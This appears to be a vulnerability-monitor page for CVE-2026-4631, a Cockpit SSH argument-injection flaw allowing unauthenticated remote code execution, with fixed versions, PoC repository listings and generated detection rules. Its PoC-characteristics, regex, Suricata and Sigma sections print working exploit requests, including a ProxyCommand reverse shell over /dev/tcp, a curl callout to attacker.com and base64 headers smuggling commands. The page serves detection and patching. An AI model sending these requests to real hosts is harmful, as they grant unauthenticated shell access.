PoC Monitor
← All CVEs
CVE-2026-4631published 7 Apr 2026 16:30 UTCData: JSON · API

Red Hat Enterprise Linux 10

Cockpit: cockpit: unauthenticated remote code execution due to ssh command-line argument injection

Cockpit's remote login feature passes user-supplied hostnames and usernames from the web interface to the SSH client without validation or sanitization. An attacker with network access to the Cockpit web service can craft a single HTTP request to the login endpoint that injects malicious SSH options or shell commands, achieving code execution on the Cockpit host without valid credentials. The injection occurs during the authentication flow before any credential verification takes place, meaning no login is required to exploit the vulnerability.

First public PoC 7.7 daysafter publication · 15 Apr 2026 · nuclei template
Public PoCs42 on GitHub · 2 Exploit-DB, Metasploit or nuclei
CVSS9.8critical · scored by CNA · CWE-78
CISA KEV Not listednot known exploited

Affected versions and mitigation

From the CVE record and the vendor's references.

Affected

Red Hat Red Hat Enterprise Linux 10

    Fixed in 0:344-3.el10_1

    Red Hat Red Hat Enterprise Linux 10

      Fixed in 0:356.1-1.el10_2

      Red Hat Red Hat Enterprise Linux 10.0 Extended Update Support

        Fixed in 0:334.1-3.el10_0

        Red Hat Red Hat Enterprise Linux 9

          Fixed in 0:356.1-1.el9_8

          Red Hat Red Hat Enterprise Linux 9

            Fixed in 0:344-2.el9_7

            Red Hat Red Hat Enterprise Linux 9

              Fixed in 0:356.1-1.el9_8

              Red Hat Red Hat Enterprise Linux 9

                Fixed in 0:344-2.el9_7

                Red Hat Red Hat Enterprise Linux 9.6 Extended Update Support

                  Fixed in 0:334.2-2.el9_6

                  Mitigation

                  Upgrade Red Hat Enterprise Linux 10 to 0:344-3.el10_1 or later.

                  Upgrade Red Hat Enterprise Linux 10 to 0:356.1-1.el10_2 or later.

                  Upgrade Red Hat Enterprise Linux 10.0 Extended Update Support to 0:334.1-3.el10_0 or later.

                  Upgrade Red Hat Enterprise Linux 9 to 0:356.1-1.el9_8 or later.

                  Upgrade Red Hat Enterprise Linux 9 to 0:344-2.el9_7 or later.

                  Upgrade Red Hat Enterprise Linux 9 to 0:356.1-1.el9_8 or later.

                  Upgrade Red Hat Enterprise Linux 9 to 0:344-2.el9_7 or later.

                  Upgrade Red Hat Enterprise Linux 9.6 Extended Update Support to 0:334.2-2.el9_6 or later.

                  References

                  4 more

                  Timeline

                  Days relative to CVE publication
                  -2t=0+2+4+6+8CVE published7 Apr 2026 · t = 0First public PoC15 Apr 2026 · t+7.7d

                  First public PoC 7.7 days after publication; not in CISA KEV. First PoC: nuclei template: Cockpit Web Console < 360 - Remote Code Execution (nuclei template, 15 Apr 2026).

                  PoC repositories

                  Found on GitHub.

                  2 PoCs

                  PoCs 2
                  RepositoryCreatedStarsAssessment
                  cyberheartmi9/CVE-2026-4631-cockpit-RCE 18 Apr 2026 +11 d 15 PoC
                  ExDev994/CVE-2026-4631-cockpit-RCE 12 Jul 2026 +96 d 0 PoC

                  Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.

                  Other public exploits

                  Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.
                  SourceTitlePublishedFound by us
                  Exploit-DBCockpit 359 - RCE21 May 202614 Nov 2026
                  nuclei templatenuclei template: Cockpit Web Console < 360 - Remote Code Execution15 Apr 202614 Nov 2026

                  PoC characteristics

                  What to hunt for in your logs · from 2 PoC repos

                  GET /cockpit+=-oProxyCommand=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261/login

                  Ports
                  9090
                  Seen in
                  1 repo: cyberheartmi9/CVE-2026-4631-cockpit-RCE
                  Evidence
                  cyberheartmi9/CVE-2026-4631-cockpit-RCE/README.md:317

                  GET /cockpit+=-oProxyCommand=curl%20http%3A%2F%2Fattacker.com%2F%60id%60/login

                  Ports
                  9090
                  Seen in
                  1 repo: cyberheartmi9/CVE-2026-4631-cockpit-RCE
                  Evidence
                  cyberheartmi9/CVE-2026-4631-cockpit-RCE/README.md:309

                  GET /cockpit+=legit-host/login

                  Key headers
                  Authorization: Basic base64("x; {var}; #:x")
                  Ports
                  9090
                  Seen in
                  1 repo: ExDev994/CVE-2026-4631-cockpit-RCE
                  Evidence
                  ExDev994/CVE-2026-4631-cockpit-RCE/README.md:181

                  GET /cockpit+=legitimate-host/login

                  Key headers
                  Authorization: Basic eDsgdG91Y2ggL3RtcC9wd25lZDsgIzppbnZhbGlk
                  Ports
                  9090
                  Seen in
                  1 repo: cyberheartmi9/CVE-2026-4631-cockpit-RCE
                  Evidence
                  cyberheartmi9/CVE-2026-4631-cockpit-RCE/README.md:338

                  GET /cockpit+={var}/login

                  Key headers
                  Authorization: Basic <base64 of "x; CMD; #:x">
                  Ports
                  9090
                  Seen in
                  1 repo: ExDev994/CVE-2026-4631-cockpit-RCE
                  Evidence
                  ExDev994/CVE-2026-4631-cockpit-RCE/docs/DETECTION.md:100

                  GET /cockpit+=probe-host/login

                  Key headers
                  Authorization: Basic eDp4
                  Ports
                  8080, 9090
                  Seen in
                  1 repo: ExDev994/CVE-2026-4631-cockpit-RCE
                  Evidence
                  ExDev994/CVE-2026-4631-cockpit-RCE/core/scanner.py:85

                  Regex

                  Generated from PoC characteristics; not yet reviewed. Matches the request path and query.

                  GET /cockpit+=-oProxyCommand={var}/login
                  (?i)^/cockpit\+=-oProxyCommand=[^/?#]*/login(?:[?#].*)?$
                  GET /cockpit+=-oProxyCommand=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261/login
                  (?i)^/cockpit\+=-oProxyCommand=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10\.10\.10\.10%2F4444%200%3E%261/login(?:[?#].*)?$
                  GET /cockpit+=-oProxyCommand=curl%20http%3A%2F%2Fattacker.com%2F%60id%60/login
                  (?i)^/cockpit\+=-oProxyCommand=curl%20http%3A%2F%2Fattacker\.com%2F%60id%60/login(?:[?#].*)?$
                  GET /cockpit+=legit-host/login
                  (?i)^/cockpit\+=legit-host/login(?:[?#].*)?$
                  GET /cockpit+=legitimate-host/login
                  (?i)^/cockpit\+=legitimate-host/login(?:[?#].*)?$

                  Suricata

                  Template generated from PoC characteristics. Review before deploying.

                  GET /cockpit+=-oProxyCommand={var}/login
                  alert http any any -> $HOME_NET [9090] (msg:"GG PoC-Monitor CVE-2026-4631 Red Hat Red Hat Enterprise Linux 10 exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/cockpit+=-oProxyCommand="; http.uri; content:"/login"; http.header; content:"Authorization: Basic base64(|22|x:x|22|)"; nocase; http.header; content:"Authorization: Basic "; nocase; http.header; content:"Authorization: Basic aW52YWxpZDppbnZhbGlk"; nocase; http.header_names; content:"Authorization"; nocase; http.header_names; content:"Origin"; nocase; http.header_names; content:"Referer"; nocase; reference:url,poc.griffinguard.io/cve/CVE-2026-4631; classtype:web-application-attack; sid:9068562; rev:1;)
                  GET /cockpit+=-oProxyCommand=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261/login
                  alert http any any -> $HOME_NET [9090] (msg:"GG PoC-Monitor CVE-2026-4631 Red Hat Red Hat Enterprise Linux 10 exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/cockpit+=-oProxyCommand=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261/login"; reference:url,poc.griffinguard.io/cve/CVE-2026-4631; classtype:web-application-attack; sid:9147020; rev:1;)
                  GET /cockpit+=-oProxyCommand=curl%20http%3A%2F%2Fattacker.com%2F%60id%60/login
                  alert http any any -> $HOME_NET [9090] (msg:"GG PoC-Monitor CVE-2026-4631 Red Hat Red Hat Enterprise Linux 10 exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/cockpit+=-oProxyCommand=curl%20http%3A%2F%2Fattacker.com%2F%60id%60/login"; reference:url,poc.griffinguard.io/cve/CVE-2026-4631; classtype:web-application-attack; sid:9257553; rev:1;)
                  GET /cockpit+=legit-host/login
                  alert http any any -> $HOME_NET [9090] (msg:"GG PoC-Monitor CVE-2026-4631 Red Hat Red Hat Enterprise Linux 10 exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/cockpit+=legit-host/login"; http.header; content:"Authorization: Basic base64(|22|x|3b| "; nocase; reference:url,poc.griffinguard.io/cve/CVE-2026-4631; classtype:web-application-attack; sid:9873253; rev:1;)
                  GET /cockpit+=legitimate-host/login
                  alert http any any -> $HOME_NET [9090] (msg:"GG PoC-Monitor CVE-2026-4631 Red Hat Red Hat Enterprise Linux 10 exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/cockpit+=legitimate-host/login"; http.header; content:"Authorization: Basic eDsgdG91Y2ggL3RtcC9wd25lZDsgIzppbnZhbGlk"; nocase; reference:url,poc.griffinguard.io/cve/CVE-2026-4631; classtype:web-application-attack; sid:9405251; rev:1;)

                  Sigma

                  Template generated from PoC characteristics. Review before deploying.

                  GET /cockpit+=-oProxyCommand={var}/login
                  title: Red Hat Red Hat Enterprise Linux 10 exploit attempt (CVE-2026-4631)
                  id: gg-pocmon-cve-2026-4631-9068562
                  status: experimental
                  description: Request pattern taken from public PoCs for CVE-2026-4631. Generated, not reviewed.
                  references:
                    - https://poc.griffinguard.io/cve/CVE-2026-4631
                  logsource:
                    category: webserver
                  detection:
                    selection:
                      cs-method: GET
                      cs-uri-stem|contains|all:
                        - '/cockpit+=-oProxyCommand='
                        - '/login'
                    condition: selection
                  falsepositives:
                    - Authorized vulnerability scanning
                  level: critical
                  tags:
                    - attack.initial_access
                    - attack.t1190
                    - cve.2026.4631
                  
                  GET /cockpit+=-oProxyCommand=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261/login
                  title: Red Hat Red Hat Enterprise Linux 10 exploit attempt (CVE-2026-4631)
                  id: gg-pocmon-cve-2026-4631-9147020
                  status: experimental
                  description: Request pattern taken from public PoCs for CVE-2026-4631. Generated, not reviewed.
                  references:
                    - https://poc.griffinguard.io/cve/CVE-2026-4631
                  logsource:
                    category: webserver
                  detection:
                    selection:
                      cs-method: GET
                      cs-uri-stem|contains|all:
                        - '/cockpit+=-oProxyCommand=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261/login'
                    condition: selection
                  falsepositives:
                    - Authorized vulnerability scanning
                  level: critical
                  tags:
                    - attack.initial_access
                    - attack.t1190
                    - cve.2026.4631
                  
                  GET /cockpit+=-oProxyCommand=curl%20http%3A%2F%2Fattacker.com%2F%60id%60/login
                  title: Red Hat Red Hat Enterprise Linux 10 exploit attempt (CVE-2026-4631)
                  id: gg-pocmon-cve-2026-4631-9257553
                  status: experimental
                  description: Request pattern taken from public PoCs for CVE-2026-4631. Generated, not reviewed.
                  references:
                    - https://poc.griffinguard.io/cve/CVE-2026-4631
                  logsource:
                    category: webserver
                  detection:
                    selection:
                      cs-method: GET
                      cs-uri-stem|contains|all:
                        - '/cockpit+=-oProxyCommand=curl%20http%3A%2F%2Fattacker.com%2F%60id%60/login'
                    condition: selection
                  falsepositives:
                    - Authorized vulnerability scanning
                  level: critical
                  tags:
                    - attack.initial_access
                    - attack.t1190
                    - cve.2026.4631
                  
                  GET /cockpit+=legit-host/login
                  title: Red Hat Red Hat Enterprise Linux 10 exploit attempt (CVE-2026-4631)
                  id: gg-pocmon-cve-2026-4631-9873253
                  status: experimental
                  description: Request pattern taken from public PoCs for CVE-2026-4631. Generated, not reviewed.
                  references:
                    - https://poc.griffinguard.io/cve/CVE-2026-4631
                  logsource:
                    category: webserver
                  detection:
                    selection:
                      cs-method: GET
                      cs-uri-stem|contains|all:
                        - '/cockpit+=legit-host/login'
                    condition: selection
                  falsepositives:
                    - Authorized vulnerability scanning
                  level: critical
                  tags:
                    - attack.initial_access
                    - attack.t1190
                    - cve.2026.4631
                  
                  GET /cockpit+=legitimate-host/login
                  title: Red Hat Red Hat Enterprise Linux 10 exploit attempt (CVE-2026-4631)
                  id: gg-pocmon-cve-2026-4631-9405251
                  status: experimental
                  description: Request pattern taken from public PoCs for CVE-2026-4631. Generated, not reviewed.
                  references:
                    - https://poc.griffinguard.io/cve/CVE-2026-4631
                  logsource:
                    category: webserver
                  detection:
                    selection:
                      cs-method: GET
                      cs-uri-stem|contains|all:
                        - '/cockpit+=legitimate-host/login'
                    condition: selection
                  falsepositives:
                    - Authorized vulnerability scanning
                  level: critical
                  tags:
                    - attack.initial_access
                    - attack.t1190
                    - cve.2026.4631